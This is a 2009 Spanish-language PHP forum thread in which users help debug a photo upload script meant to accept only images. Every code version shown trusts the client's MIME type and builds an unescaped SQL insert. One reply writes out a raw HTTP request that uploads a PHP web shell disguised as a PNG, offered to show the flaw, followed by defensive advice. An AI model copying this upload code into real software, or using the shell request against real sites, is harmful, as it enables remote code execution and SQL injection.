Foro de elhacker.net

Programación => PHP => Mensaje iniciado por: DJmixmancar en 21 Agosto 2009, 18:05 pm



Título: galeria de fotos, comprobar tipo de imagen
Publicado por: DJmixmancar en 21 Agosto 2009, 18:05 pm
Tengo un problema con mi peque sistema,
mi sistema es uno para subir fotos,
solo quiero que suba solo fotos, por ejemplo jpg, gif

pero no se donde colocar el codigo de comprbar,


bueno es que el, se me ocurrio que que si suvia con el mismo nombre lo remplace por un numero mas, pero cuando subia con espacio o un caracter de simbolo eahi esta el error,

alguien saver como cambiar esto

porfavor es urgente,
Citar
<?php
include("config.php");
$tag=$_POST["tag"];
$SIZE="1000000";
$UPLOAD_DIR ="../userfotos/";
if (is_uploaded_file($archivo)) {
if ( $archivo_size > $SIZE ) {
echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";
echo " Ingrese de Nuevo su Aviso</CENTER></b>";
exit;
}
$nombreaponer=strtolower($archivo_name);
$alternativo="";
while (@fopen($UPLOAD_DIR.$alternativo.$nombreaponer,"r"))
{
$alternativo++;
}
$nombreaponer=$alternativo.$nombreaponer;
copy($archivo,$UPLOAD_DIR.$nombreaponer);
unlink($archivo);
$url_completa ="$UPLOAD_DIR$nombreaponer";

$ingresar=mysql_query("insert into fotos(titulo,Comentario,url_,tag,pass_delete,categria,url_completa,data,user) values ('$titulo','$cuerpo','$nombreaponer','$tag','$pass_delete','$nombre','$url_completa','$fecha','$quien')",$database_server);
echo "se agrego el archivo ";
echo"<b>";
echo"$nombreaponer";
echo"<br>";
echo"<p>el codigo de delete es</p>";
echo"<b>";
echo "$pass_delete";
echo"<br>";
echo"<b>";
 echo '<p><a href="./formulario_upload.php">Subir mas Fotos</a></p>';
} else {
echo "no se puedo agragar su archivo";
//$ingresar=mysql_query("insert into tabla(titulo,cuerpo) values ('$titulo','$cuerpo')",$link);
}
?>


Título: Re: galeria de fotos, comprobar tipo de imagen
Publicado por: дٳŦ٭ en 21 Agosto 2009, 20:22 pm
Citar
porfavor es urgente

 :-\ aquí no hacemos la tarea de nadie  ;D pero a ver.. te doy una pista, buscate info sobre $_FILES y sus atributos.. tiene la opción de detectar el mime del archivo. Suerte.


Título: Re: galeria de fotos, comprobar tipo de imagen
Publicado por: DJmixmancar en 21 Agosto 2009, 23:17 pm
hola man gracia pero si se eso me olvide de agregar.
   if ($userfile_type=="image/jpeg" || $userfile_type=="image/pjpeg" || $userfile_type=="image/gif" || $userfile_type=="image/bmp")
   {}


el problema es no se donde obicarlo esque cada vez que lo ubico me bota error de ubicacion de
}

lo locado en todas partepero sale error



Título: Re: galeria de fotos, comprobar tipo de imagen
Publicado por: Karman en 21 Agosto 2009, 23:54 pm
me parece mejor algo así:

Código
  1. $imagetypes=array('image/jpeg','image/gif','image/png','image/tiff','image/bmp');
  2. ...
  3. if ( $archivo_size > $SIZE ) {
  4. echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";
  5. echo " Ingrese de Nuevo su Aviso</CENTER></b>";
  6. }
  7. if(!in_array($userfile_type,$imagetypes)){
  8. echo "<b><CENTER>El Servidor acepta sólo imagenes";
  9. echo " Ingrese de Nuevo su Aviso</CENTER></b>";
  10. }

S2


Título: Re: galeria de fotos, comprobar tipo de imagen
Publicado por: DJmixmancar en 22 Agosto 2009, 08:21 am
Hola man Gracias por responder pero nada, ahora ndad puedo subir pucha, que hago


Título: Re: galeria de fotos, comprobar tipo de imagen
Publicado por: DJmixmancar en 22 Agosto 2009, 16:55 pm
amigo nda no se donde colocar ayudame porfavor yo etrataDO ASI pero nada
Citar
<?php
include("config.php");
//include("../../conex.php");

//$link=Conectarse();
//$random_number = $_POST['$random_number'];

$tipo_archivo = $HTTP_POST_FILES['archivo']['type'];

$tag=$_POST["tag"];

$SIZE="1000000";

$UPLOAD_DIR ="../userfotos/";

if (is_uploaded_file($archivo)) {

$imagetypes=array('image/jpeg','image/gif','image/png','image/tiff','image/bmp');


f ( $archivo_size > $SIZE ) {

echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";

echo " Ingrese de Nuevo su Aviso</CENTER></b>";

exit;

}



$nombreaponer=strtolower($archivo_name);

$alternativo="";

while (@fopen($UPLOAD_DIR.$alternativo.$nombreaponer,"r"))

{

$alternativo++;

}



$nombreaponer=$alternativo.$nombreaponer;

copy($archivo,$UPLOAD_DIR.$nombreaponer);

unlink($archivo);
$url_completa ="$UPLOAD_DIR$nombreaponer";

//$url_completa = "xddd";
$ingresar=mysql_query("insert into fotos(titulo,Comentario,url_,tag,pass_delete,categria,url_completa,data,user) values ('$titulo','$cuerpo','$nombreaponer','$tag','$pass_delete','$nombre','$url_completa','$fecha','$quien')",$database_server);
echo "se agrego el archivo ";

echo"<b>";
echo"$nombreaponer";
echo"<br>";
echo"<p>el codigo de delete es</p>";
echo"<b>";
echo "$pass_delete";
echo"<br>";
echo"<b>";
 echo '<p><a href="./formulario_upload.php">Subir mas Fotos</a></p>';
} else {
echo "no se puedo agragar su archivo";
//$ingresar=mysql_query("insert into tabla(titulo,cuerpo) values ('$titulo','$cuerpo')",$link);
}

?>


 nada  aqui te dejo el codigo de from
Citar
</label>

<label>

<textarea name="cuerpo" cols="50" rows="5" id="cuerpo"></textarea>

<br />
<br />

pdf<br />
</label>

<label>

<input name="archivo" type="file" id="archivo" />

<br />
<br />
<input name="pass_delete" type="hidden" value="<? echo $random_number;?>" />
<input name="quien" type="hidden" value="<? echo $quien;?>" />
<input name="fecha" type="hidden" value="<?=fecha() ?>" />



<br />
</label>

<label>

<input type="submit" name="Submit" value="guardar" />

</label>

</form>


Título: Re: galeria de fotos, comprobar tipo de imagen
Publicado por: Karman en 22 Agosto 2009, 18:11 pm
fijate si así te funciona:

Código
  1. <?php
  2.  
  3. include("config.php");
  4. //include("../../conex.php");
  5.  
  6. //$link=Conectarse();
  7. //$random_number = $_POST['$random_number'];
  8.  
  9. $archivo = $_FILES['archivo'];
  10. $tag=$_POST["tag"];
  11. $SIZE="1000000";
  12. $UPLOAD_DIR ="../userfotos/";
  13. $imagetypes=array('image/jpeg','image/gif','image/png','image/tiff','image/bmp');
  14.  
  15. if (is_uploaded_file($archivo)) {
  16.  
  17. if ($archivo['size'] > $SIZE ) {
  18. echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";
  19. echo " Ingrese de Nuevo su Archivo</CENTER></b>";
  20. }
  21.  
  22. if(!in_array($archivo['type'],$imagetypes)){
  23. echo "<b><CENTER>El Servidor acepta sólo imagenes";
  24. echo " Ingrese de Nuevo su Archivo</CENTER></b>";
  25. }
  26.  
  27. $nombreaponer=strtolower(ereg_replace("[^a-zA-Z0-9.]",'_',$archivo['name']));
  28. $alternativo=0;
  29. do{
  30. $nombreposible=$UPLOAD_DIR.($alternativo++).$nombreaponer;
  31. }while(file_exists($nombreposible));
  32. $nombreaponer=$nombreposible;
  33.  
  34. if(!move_uploaded_file($archivo['tmp_name'],$nombreaponer)){
  35. echo "<b><CENTER>Error: No se a podido subir la imagen...</CENTER></b>";
  36. }
  37.  
  38. $url_completa =$nombreaponer;
  39. $ingresar=mysql_query("insert into fotos(titulo,Comentario,url_,tag,pass_delete,categria,url_completa,data,user) values ('$titulo','$cuerpo','$nombreaponer','$tag','$pass_delete','$nombre','$url_completa','$fecha','$quien')",$database_server);
  40.  
  41. echo "se agrego el archivo ";
  42. echo"<b>";
  43. echo"$nombreaponer";
  44. echo"<br>";
  45. echo"<p>el codigo de delete es</p>";
  46. echo"<b>";
  47. echo "$pass_delete";
  48. echo"<br>";
  49. echo"<b>";
  50. echo '<p><a href="./formulario_upload.php">Subir mas Fotos</a></p>';
  51. } else {
  52. echo "no se puedo agregar su archivo";
  53. }
  54.  
  55. ?>

S2


Título: Re: galeria de fotos, comprobar tipo de imagen
Publicado por: WHK en 24 Agosto 2009, 05:17 am
con eso yo fácilmente podría subirle un php y hacer código de ejecución remota:

Citar
telnet web.com 80
POST /test.php HTTP/1.1
Host: web.com
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------15890672924370
Content-Length: 251

-----------------------------15890672924370
Content-Disposition: form-data; name="archivo"; filename="shell.php"
Content-Type: image/png

<?php echo nl2br(htmlspecialchars(system($_COOKIE['eval']), ENT_QUOTES)); ?><br /><?php phpinfo(); ?>

y si le pongo comillas al título y demás puedo causar una inyección sql.

Mejor verifica extensiones basados en strpos tomando los ultimos tres o cuatro carácteres segín la extensión a comparar y devuelves true o false si es permitido o no y asegurate siempre de utilizar mysq escape real string para evitar las inyecciones. Si quieres algo mas avanzado y evitar que se ejecuten via LFI aunque sean subidas con extensión jpg utiliza gd.


Título: Re: galeria de fotos, comprobar tipo de imagen
Publicado por: Karman en 24 Agosto 2009, 05:42 am
con eso yo fácilmente podría subirle un php y hacer código de ejecución remota

si en realidad no se hablo de seguridad... un buen mecanismo sería comprobar la extensión final del archivo y eliminar extensiones duplicadas si existen... pero bueno... la idea del post no era esa...

S2


Título: Re: galeria de fotos, comprobar tipo de imagen
Publicado por: WHK en 24 Agosto 2009, 05:48 am
Y por eso después aparecen las webs expuestas para que menores de 15 años las desfaceen sabiendo que la gente que viene a pedir este tipo de cosas copian y pegan código sin conocer mucho del tema.
Solo es hábito.


Título: Re: galeria de fotos, comprobar tipo de imagen
Publicado por: Karman en 24 Agosto 2009, 05:55 am
Y por eso después aparecen las webs expuestas para que menores de 15 años las desfaceen sabiendo que la gente que viene a pedir este tipo de cosas copian y pegan código sin conocer mucho del tema.
Solo es hábito.

creo que también tiene algo de mérito que el solo busque aprender ese tipo de cosas... pero bue... queda en la visión de cada uno...

S2